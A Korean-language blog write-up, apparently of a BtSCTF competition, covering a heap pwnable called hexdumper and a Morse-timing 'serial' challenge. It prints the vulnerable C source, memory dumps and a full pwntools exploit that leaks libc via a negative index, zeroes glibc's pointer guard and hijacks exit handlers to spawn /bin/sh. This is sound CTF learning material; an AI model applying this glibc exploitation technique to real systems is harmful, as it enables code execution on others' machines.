서론

얼마 전 우연히 드림핵 디코 채널에서 어떤 외국인을 도와줬는데,
주말에 갑자기 DM으로 혹시 시간이 되면 같이 CTF를 하지 않겠냐고 연락이 왔다.
주말에 큰 일정이 없어 가볍게 해 볼 생각으로 참여하게 되었고, pwnable 1 solve, misc. 0.8 solve 했다.
1. hexdumper
보통은 소스코드는 잘 제공하지 않는데, 특이하게도 이 CTF는 제공해줬다.
메뉴가 아래와 같이 구성되어있고, 보자마자 heap 문제라는 생각이 들었고 이를 가정하여 소스코드 분석을 했다.
void menu(void) {
puts("=========== DUMP MENU ===========");
puts("1) Create a new dump");
puts("2) Hexdump a dump");
puts("3) Bite a byte");
puts("4) Merge two dumps");
puts("5) Resize dump");
puts("6) Remove dump");
puts("7) Dump all dumps");
puts("8) Dump the dump menu");
puts("0) Coredump");
}
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#define MAX_DUMPS 0x41
#define MAX_DUMP_SIZE 0x4141
// Georgia 16 by Richard Sabey 8.2003
char logo[] = \
"____ ____ ________ \n"
"`MM' `MM' `MMMMMMMb. \n"
" MM MM MM `Mb \n"
" MM MM ____ ____ ___ MM MM ___ ___ ___ __ __ __ ____ ____ ___ __ \n"
" MM MM 6MMMMb `MM( )P' MM MM `MM MM `MM 6MMb 6MMb `M6MMMMb 6MMMMb `MM 6MM \n"
" MMMMMMMMMM 6M' `Mb `MM` ,P MM MM MM MM MM69 `MM69 `Mb MM' `Mb 6M' `Mb MM69 \n"
" MM MM MM MM `MM,P MM MM MM MM MM' MM' MM MM MM MM MM MM' \n"
" MM MM MMMMMMMM `MM. MM MM MM MM MM MM MM MM MM MMMMMMMM MM \n"
" MM MM MM d`MM. MM MM MM MM MM MM MM MM MM MM MM \n"
" MM MM YM d9 d' `MM. MM .M9 YM. MM MM MM MM MM. ,M9 YM d9 MM \n"
"_MM_ _MM_ YMMMM9 _d_ _)MM_ _MMMMMMM9' YMMM9MM__MM_ _MM_ _MM_MMYMMM9 YMMMM9 _MM_ \n"
" MM \n"
" MM \n"
" _MM_ \n";
size_t no_dumps = 0;
void *dumps[MAX_DUMPS];
size_t dump_sizes[MAX_DUMPS];
void make_me_a_ctf_challenge(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void menu(void) {
puts("=========== DUMP MENU ===========");
puts("1) Create a new dump");
puts("2) Hexdump a dump");
puts("3) Bite a byte");
puts("4) Merge two dumps");
puts("5) Resize dump");
puts("6) Remove dump");
puts("7) Dump all dumps");
puts("8) Dump the dump menu");
puts("0) Coredump");
}
void create_dump(void) {
if (no_dumps >= MAX_DUMPS) {
puts("\tExceeded maximum dump limit!");
return;
}
size_t dump_size = 0;
printf("\tDump size: ");
scanf("%lu", &dump_size);
if (dump_size > MAX_DUMP_SIZE) {
printf("\tYour dump is too big! %lu > %lu\n",
dump_size,
(size_t)MAX_DUMP_SIZE);
return;
}
void *dump = malloc(dump_size);
if (dump == NULL) {
puts("Something went very wrong, contact admins");
exit(-1);
}
memset(dump, 0, dump_size);
size_t free_dump_idx = 0;
while (dumps[free_dump_idx] != NULL) ++free_dump_idx;
dumps[free_dump_idx] = dump;
dump_sizes[free_dump_idx] = dump_size;
++no_dumps;
printf("\tSuccessfully created a dump at index %lu\n", free_dump_idx);
}
int ask_for_index(void) {
int idx = -1;
printf("\tDump index: ");
scanf("%d", &idx);
if (idx >= MAX_DUMPS) {
puts("\tIndex is too big");
return -1;
}
return idx;
}
void hexdump_dump(void) {
int idx = ask_for_index();
if (idx == -1)
return;
char *dump = dumps[idx];
if (dump == NULL) {
printf("\tDump with index %d doesn't exist\n", idx);
return;
}
size_t len = dump_sizes[idx];
puts("");
puts(" 0 1 2 3 4 5 6 7 8 9 a b c d e f");
puts(" +--------------------------------------------------");
for (size_t i = 0; i < len; ++i) {
if (i % 16 == 0) {
// Avoid newline for first line
if (i != 0)
putchar('\n');
printf("%04lx | ", i);
}
printf(" %02hhX", dump[i]);
}
putchar('\n');
}
void change_byte(void) {
int idx = ask_for_index();
if (idx == -1)
return;
unsigned char *dump = dumps[idx];
if (dump == NULL) {
printf("\tDump with index %d doesn't exist\n", idx);
return;
}
size_t len = dump_sizes[idx];
printf("\tOffset: ");
size_t offset = 0;
scanf("%lu", &offset);
if (offset >= len) {
printf("\tOffset is bigger than dump size. %lu >= %lu\n", offset, len);
return;
}
printf("\tValue in decimal: ");
unsigned char byte = 0;
scanf("%hhu", &byte);
dump[offset] = byte;
printf("\tByte at offset %lu changed successfully\n", offset);
}
void merge_dumps(void) {
int idx1 = ask_for_index();
if (idx1 == -1)
return;
if (dumps[idx1] == NULL) {
printf("\tDump with index %d doesn't exist\t", idx1);
return;
}
int idx2 = ask_for_index();
if (idx2 == -1)
return;
if (dumps[idx2] == NULL) {
printf("\tDump with index %d doesn't exist\n", idx2);
return;
}
if (idx1 == idx2) {
puts("\tCan't merge a dump with itself");
return;
}
size_t len1 = dump_sizes[idx1];
size_t len2 = dump_sizes[idx2];
size_t new_len = len1 + len2;
if (new_len > MAX_DUMP_SIZE) {
printf("\tMerged size is too big! %lu > %lu\n",
new_len,
(size_t)MAX_DUMP_SIZE);
return;
}
dumps[idx1] = realloc(dumps[idx1], len1+len2);
dump_sizes[idx1] = new_len;
// Code from: https://en.wikipedia.org/wiki/Duff%27s_device
register unsigned char *to = dumps[idx1]+len1, *from = dumps[idx2];
register int count = len2;
{
register int n = (count + 7) / 8;
switch (count % 8) {
case 0: do { *to++ = *from++;
case 7: *to++ = *from++;
case 6: *to++ = *from++;
case 5: *to++ = *from++;
case 4: *to++ = *from++;
case 3: *to++ = *from++;
case 2: *to++ = *from++;
case 1: *to++ = *from++;
} while (--n > 0);
}
}
free(dumps[idx2]);
dumps[idx2] = NULL;
dump_sizes[idx2] = 0;
--no_dumps;
puts("\tMerge successful");
}
void resize_dump(void) {
int idx = ask_for_index();
if (idx == -1)
return;
if (dumps[idx] == NULL) {
printf("\tDump with index %d doesn't exist\n", idx);
return;
}
printf("\tNew size: ");
size_t new_size = 0;
scanf("%lu", &new_size);
if (new_size > MAX_DUMP_SIZE) {
printf("\tNew size is too big! %lu > %lu\n",
new_size,
(size_t)MAX_DUMP_SIZE);
return;
}
size_t old_size = dump_sizes[idx];
if (old_size < new_size) {
dumps[idx] = realloc(dumps[idx], new_size);
// Zero out the new memory
size_t no_new_bytes = new_size - old_size;
memset(dumps[idx]+old_size, 0, no_new_bytes);
}
dump_sizes[idx] = new_size;
puts("\tResize successful");
}
void remove_dump(void) {
int idx = ask_for_index();
if (idx == -1)
return;
if (dumps[idx] == NULL) {
printf("\tNo dump at index %d\n", idx);
return;
}
free(dumps[idx]);
dumps[idx] = NULL;
dump_sizes[idx] = 0;
--no_dumps;
printf("\tDump at index %d removed successfully\n", idx);
}
void list_dumps(void) {
for (int i = 0; i < MAX_DUMPS; ++i) {
void *dump = dumps[i];
size_t len = dump_sizes[i];
if (dump == NULL)
continue;
printf("%02d: size=%lu\n", i, len);
}
}
int main() {
make_me_a_ctf_challenge();
printf("%s", logo);
menu();
for (;;) {
putchar('\n');
// Remember to always check the return value of stdio.h functions kids!
// Stay safe!
if (printf("==> ") < 0) {
printf("error while printing !!\n");
exit(-1);
}
int option = 0;
scanf("%d", &option);
switch (option) {
case 1:
create_dump();
break;
case 2:
hexdump_dump();
break;
case 3:
change_byte();
break;
case 4:
merge_dumps();
break;
case 5:
resize_dump();
break;
case 6:
remove_dump();
break;
case 7:
list_dumps();
break;
case 8:
default:
menu();
break;
case 0:
exit(0);
}
}
}
1. 힙을 생성한다. 최대 크기 이하에 한해 원하는 크기만큼 생성할 수 있으며, 자동으로 인덱스가 0부터 부여되고, dump에 힙 주소, dump_size에 그 크기를 저장해둔다.
2. 선택된 dump의 내용을 생성한 크기만큼 출력한다.
3. 선택된 dump에서 offset을 입력 후 1바이트 값을 변경할 수 있다.
4. 인덱스를 두개 입력받아 존재한다면 두 heap을 합친다. 실제로 합쳐지는 것은 아니고, 사이즈만 가져와서 두 인덱스의 크기를 더한 뒤 realloc으로 첫번째 인덱스의 사이즈를 변경한다. 이후 두번째 인덱스는 free한다.
5. 힙 사이즈를 변경한다. 크기가 기존보다 크면 realloc으로 재 할당하며, 작다면 dump_size list에서 사이즈만 변경한다.
6. dump를 삭제한다.
7. 모든 dump list를 출력한다.
8. 메뉴를 출력한다.
9. 종료한다.
여기서 처음에는 realloc(idx,0)을 통해 free 및 double free를 생각했고, realloc이 사용되는 merge_dumps와 resize_dump 두 메뉴를 집중적으로 보았다.
하지만 resize_dump에서는 realloc 이후 memset을 통해 heap의 내용을 초기화해버리기 때문에 제외했고,
merge_dump에서 값을 복사해주기에 이 부분을 노렸다.
따라서 dump를 2개 생성하고, resize를 통해 크기를 0으로 변경한 뒤 둘을 merge하면
dumps[idx1] = realloc(dumps[idx1], len1+len2);
를 통해 heap이 free되고, 이 주소에 값이 복사될 것으로 예상했다.
하지만 실제로는 (자세히는 보지 않았으나) 복사되는 과정 중에 오류가 발생하였다.
한참을 삽질하다, ask_for_index 즉, index를 선택할 때 음수 값 삽입이 가능하다는 것을 알게 되었다.
int ask_for_index(void) {
int idx = -1;
printf("\tDump index: ");
scanf("%d", &idx);
if (idx >= MAX_DUMPS) {
puts("\tIndex is too big");
return -1;
}
return idx;
}
bss 영역의 구조는 아래와 같다.
0x55663c9dc5a0 <stdout@GLIBC_2.2.5>: 0x00007f2c23c1d5c0 0x0000000000000000
0x55663c9dc5b0 <stdin@GLIBC_2.2.5>: 0x00007f2c23c1c8e0 0x0000000000000000
0x55663c9dc5c0 <stderr@GLIBC_2.2.5>: 0x00007f2c23c1d4e0 0x0000000000000000
0x55663c9dc5d0: 0x0000000000000000 0x0000000000000000
0x55663c9dc5e0 <no_dumps>: 0x0000000000000000 0x0000000000000000
0x55663c9dc5f0: 0x0000000000000000 0x0000000000000000
0x55663c9dc600 <dumps>: 0x0000000000000000 0x0000000000000000
0x55663c9dc610 <dumps+16>: 0x0000000000000000 0x0000000000000000
0x55663c9dc620 <dumps+32>: 0x0000000000000000 0x0000000000000000
0x55663c9dc630 <dumps+48>: 0x0000000000000000 0x0000000000000000
...
0x55663c9dc7e0 <dumps+480>: 0x0000000000000000 0x0000000000000000
0x55663c9dc7f0 <dumps+496>: 0x0000000000000000 0x0000000000000000
0x55663c9dc800 <dumps+512>: 0x0000000000000000 0x0000000000000000
0x55663c9dc810: 0x0000000000000000 0x0000000000000000
0x55663c9dc820 <dump_sizes>: 0x0000000000000000 0x0000000000000000
0x55663c9dc830 <dump_sizes+16>: 0x0000000000000000 0x0000000000000000
0x55663c9dc840 <dump_sizes+32>: 0x0000000000000000 0x0000000000000000
0x55663c9dc850 <dump_sizes+48>: 0x0000000000000000 0x0000000000000000
0x55663c9dc860 <dump_sizes+64>: 0x0000000000000000 0x0000000000000000
0x55663c9dc870 <dump_sizes+80>: 0x0000000000000000 0x0000000000000000
0x55663c9dc880 <dump_sizes+96>: 0x0000000000000000 0x0000000000000000
0x55663c9dc890 <dump_sizes+112>: 0x0000000000000000 0x0000000000000000
0x55663c9dc8a0 <dump_sizes+128>: 0x0000000000000000 0x0000000000000000
0x55663c9dc8b0 <dump_sizes+144>: 0x0000000000000000 0x0000000000000000
즉, index 값이 -8이면 stderr 주소의 값인 아래의 값들을 출력할 수 있으며, 이를 통해 libc base 값을 구할 수 있을 것이다.
0x7f2c23c1d4e0 <_IO_2_1_stderr_>: 0x00000000fbad2087 0x00007f2c23c1d563
0x7f2c23c1d4f0 <_IO_2_1_stderr_+16>: 0x00007f2c23c1d563 0x00007f2c23c1d563
0x7f2c23c1d500 <_IO_2_1_stderr_+32>: 0x00007f2c23c1d563 0x00007f2c23c1d563
0x7f2c23c1d510 <_IO_2_1_stderr_+48>: 0x00007f2c23c1d563 0x00007f2c23c1d563
0x7f2c23c1d520 <_IO_2_1_stderr_+64>: 0x00007f2c23c1d564 0x0000000000000000
0x7f2c23c1d530 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7f2c23c1d540 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f2c23c1d5c0
0x7f2c23c1d550 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7f2c23c1d560 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f2c23c1e700
0x7f2c23c1d570 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f2c23c1d580 <_IO_2_1_stderr_+160>: 0x00007f2c23c1c6e0 0x0000000000000000
0x7f2c23c1d590 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x00007f2c23c1d4c0
0x7f2c23c1d5a0 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7f2c23c1d5b0 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f2c23c1aff0
하지만, dump_sizes[-8]의 값은 dumps+480 값이 0이기에 어떠한 값도 출력할 수 없다.
따라서 dump를 많이 만들어서 해당 값이 채워진 이후에 출력을 시도하였고, 실제로 작동도 한다.
하지만 heap 영역의 주소만큼 size를 가지게 되고, 이를 전부 출력하면 메모리 영역의 끝을 만나기 때문에 오류가 발생한다.
이에 resize 메뉴를 통해 그 크기를 조정해주면 원하는만큼 출력이 가능하다.
이를 통해 fsop을 생각했으나, 1바이트씩 밖에 쓸 수 없다는 문제가 있고, file structure는 값 입출력에 항상 쓰이기 때문에 한번에 값을 변경하지 못하면 중간에 오류가 발생할 것으로 생각하였다.
따라서 다른 방법을 찾아야했는데, got overwrite를 할까 했더니 got 영역도 쓰기 권한이 없다.
[0x5647c8a54f80] free@GLIBC_2.2.5 → 0x7fa9fb63d370
[0x5647c8a54f88] putchar@GLIBC_2.2.5 → 0x7fa9fb618fe0
[0x5647c8a54f90] puts@GLIBC_2.2.5 → 0x7fa9fb616e80
[0x5647c8a54f98] __stack_chk_fail@GLIBC_2.4 → 0x7fa9fb6cc2b0
[0x5647c8a54fa0] printf@GLIBC_2.2.5 → 0x7fa9fb5ece40
[0x5647c8a54fa8] memset@GLIBC_2.2.5 → 0x7fa9fb720100
[0x5647c8a54fb0] malloc@GLIBC_2.2.5 → 0x7fa9fb63cc60
[0x5647c8a54fb8] realloc@GLIBC_2.2.5 → 0x7fa9fb63d6e0
[0x5647c8a54fc0] setvbuf@GLIBC_2.2.5 → 0x7fa9fb6177d0
[0x5647c8a54fc8] __isoc99_scanf@GLIBC_2.7 → 0x7fa9fb5ecb50
[0x5647c8a54fd0] exit@GLIBC_2.2.5 → 0x7fa9fb5d1ca0
gef➤ vm
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
0x00005647c8a51000 0x00005647c8a52000 0x0000000000000000 r-- /home/wyv3rn/bts/hexd/hexdumper
0x00005647c8a52000 0x00005647c8a53000 0x0000000000001000 r-x /home/wyv3rn/bts/hexd/hexdumper
0x00005647c8a53000 0x00005647c8a54000 0x0000000000002000 r-- /home/wyv3rn/bts/hexd/hexdumper
0x00005647c8a54000 0x00005647c8a55000 0x0000000000002000 r-- /home/wyv3rn/bts/hexd/hexdumper
이에 0번 메뉴 사용 시 exit 함수를 사용하기에 dl_fini 함수를 공략하기로 했다.
(다행히도 최근에 libc 2.38 문제를 풀어봐서 쉽게 떠올랐다.)
단, 이를 사용하려면 dump list에 원하는 주소값을 삽입해야하는데, bss 영역 최 상단에 bss 영역 주소를 담고 있는 부분이 있기에,
gef➤ vm
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
...
0x000055fa9c29a000 0x000055fa9c29b000 0x0000000000003000 rw- /home/wyv3rn/bts/hexd/hexdumper
...
gef➤ x/40gx 0x000055fa9c29a000
0x55fa9c29a000: 0x0000000000000000 0x000055fa9c29a008
change_byte 메뉴에서 이 위치의 index값으로 넣고 dump list에 fs_base 및 dl_fini 변수 부분의 주소를 넣은 다음
fs_base의 mangle 값을 0으로 수정
dl_fini 변수 부분에 system과 /bin/sh 주소를 넣고
exit 메뉴를 실행시켰다.
Payload
from pwn import *
#p = process('./hexdumper')
p = remote('hexdumper-e118769400364c2a.chal.bts.wh.edu.pl',443, ssl=True)
context.log_level='debug'
def cre(size):
p.sendlineafter(b'==> ',b'1')
p.sendlineafter(b'size: ',size)
def dmp(idx):
p.sendlineafter(b'==> ',b'2')
p.sendlineafter(b'index: ',idx)
def bit(idx,off,val):
p.sendlineafter(b'==> ',b'3')
p.sendlineafter(b'index: ',idx)
p.sendlineafter(b'Offset: ',off)
p.sendlineafter(b'decimal: ',val)
def mrg(one,two):
p.sendlineafter(b'==> ',b'4')
p.sendlineafter(b'index: ',one)
p.sendlineafter(b'index: ',two)
def resize(idx,size):
p.sendlineafter(b'==> ',b'5')
p.sendlineafter(b'index: ',idx)
p.sendlineafter(b'size: ',size)
def rmv(idx):
p.sendlineafter(b'==> ',b'6')
p.sendlineafter(b'index: ',idx)
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
#libc leak
for i in range(61):
cre(b'300')
resize(b'-8',b'3000')
dmp(b'-8')
p.recvuntil(b'0000 | 87 20 AD FB 00 00 00 00')
leak = (p.recvline()[:-7].replace(b' ',b''))
stderr = u64(bytes([int(leak[i:i+2], 16) for i in range(0, len(leak), 2)]).ljust(8,b'\x00'))
base = stderr - 0x212563
system = base + 0x5af30
binsh = base + 0x1d944a
#bss address leak
resize(b'-191',b'3000')
dmp(b'-191')
p.recvuntil(b'0000 | ')
leak = (p.recv(17).replace(b' ',b''))
print(leak)
bss = u64(bytes([int(leak[i:i+2], 16) for i in range(0, len(leak), 2)]).ljust(8,b'\x00'))
#write the fs_base address to dump list
fs_base = base - 0x28c0
for i in range(6):
val = int(hex(fs_base)[(i+1)*2:(i+2)*2],16)
bit(b'-191',str(1528 + 8 - 3 - i),str(val))
#set the fs_base mangled value to 0
for i in range(8):
bit(b'0',str(i+8*6),b'0')
#write the system function address to dl_fini
for i in range(8):
val = int(hex(ROL(system,0x11))[(i+1)*2:(i+2)*2],16)
bit(b'-8',str(2808 + 8 -1 - i),str(val))
#write the /bin/sh string address to dl_fini
for i in range(6):
val = int(hex(binsh)[(i+1)*2:(i+2)*2],16)
bit(b'-8',str(2808 + 8 + 6 -1 - i),str(val))
p.sendlineafter(b'==> ',b'0')
p.interactive()
BtSCTF{tc4ch3_p0is0n_1n_h3x3d_m3m0ry_r34lms}
플래그를 보면 tcache poisoning이 가능한 것 같은데... 나중에 롸업을 봐야겠다.
공식 롸업이 올라와서 봤더니, merge 부분에서 데이터 복사 과정을 이용해 heap size 부분을 덮어씌워 이를 통해 tcache poisioning을 하는 방식이 인텐이었다.
즉,
create (16)
create (24)
create (16)
과 같이 만들어놓고, 0번 인덱스에 적당히 큰 값 x를 써 놓는다.
0번 인덱스 크기를 0으로 설정한 뒤
merge(1,0)
을 수행하면 총 사이즈는 24바이트이기 때문에 새로운 힙을 생성하지 않고 1번 힙 영역을 그대로 사용하며,
이후 0번 내용의 값을 1번 뒤에 복사하는 과정에서 0번 인덱스의 크기는 0이나 이를 확인하지 않고, (count + 7) / 8 = 0이되며 7바이트를 1번 뒤에 붙여넣게 된다.
따라서 1번의 크기인 24바이트 (2번의 pre_size 영역까지 사용) 다음에 값을 붙여넣기 때문에 2번 힙의 size가 변경되게 된다.
이후 2번 힙을 프리하고, 다시 x - 16 (pre_size, size 크기 제외) 만큼 할당하면 중복된 heap을 가지게 되며, (이 부분이 조금 이해 안되는데, 바이너리에 해봐야겠다.) 이를 이용해 익스하면 된다.
2. serial
misc 문제이고, nc로 접속하면 중국어를 출력한 뒤 아무 반응이 없다.
키를 아무거나 입력해봐도 동일한 메시지가 나온다.
하지만 아무 생각 없이 pwntools + debug 모드로 접속해봤더니 \x01 값이 지속적으로 수신되었다.
다만 정기적인게 아니라 빠를때도 있고, 느릴때도 있어 모스부호일 것 같다는 느낌이 바로 들었다.
이에 아래와 같이 간단히 작성하여 값을 출력해봤고,
from pwn import *
from timeit import default_timer as timer
p = remote('serial-e233755a1df9ce7e.chal.bts.wh.edu.pl',443,ssl=True)
for i in range(1000):
start = timer()
p.recv(1)
end = timer()
if (end-start) < 2:
print('.')
elif (end-start) < 4:
print('-')
else:
print('\n')
p.interactive()
모아서 변환해봤더니 실제로 문자가 되는 것을 확인하였다.
다만 ping 문제로 정확한 문자로의 변환이 어려웠다.
이를 팀원에게 공유하였더니 시간을 보정하여 모스부호를 출력해주는 스크립을 작성하였고,
특정 명령어가 사용 가능하다는 것을 확인하였다.
로그가 남아있지 않아 잘은 기억이 안나지만, memdump, dumpmem 주소값, 이런 류의 명령어였다.
특히 memdump 시 text 영역과 code 영역의 시작 주소를 알려줬는데, 직관적으로 text 영역에 flag가 들어있을 것으로 생각되어 시작 주소부터 지속적으로 출력해내려가다보니 역시 있었다.
0x00101000: 0 x B t S C T F { q
0x00101010: e m u _ m p r i n t _ s 0 0 0 _
0x00101020: e a s s s s y _ i s n t _ i t }
마치며
정말 오랜만에 나가본 팀 CTF였다.
대회가 끝나고 초대해준 팀에 대해서 조금 검색해봤는데, 웬걸... 매년 CTF도 열고 있는 큰 팀이었다 ㄷㄷㄷ
더불어 처음에 나를 초대해준 외국인이 팀장이었다는 것도 뒤늦게 알게 되었고, 어쩌다보니 팀 멤버가 되었다;;;
주 국가가 인도인지라 아랍어를 간간히 쓰기도 하고,
보이스 챗을 하면 특유의 인도 억양으로 영어를 알아듣기가 어렵긴 하지만,
어쨌든 국제 팀에 속해서 활동하게되어 감회가 새롭다.
'CTF > Solved' 카테고리의 다른 글
GPN CTF 2025 - NASA (0) | 2025.06.22 |
---|---|
NahamCon 2025 CTF - Lost Memory (0) | 2025.05.30 |
Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning (0) | 2025.05.03 |
Hackappatoi CTF '23 (0) | 2023.12.08 |
Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제 (0) | 2023.05.29 |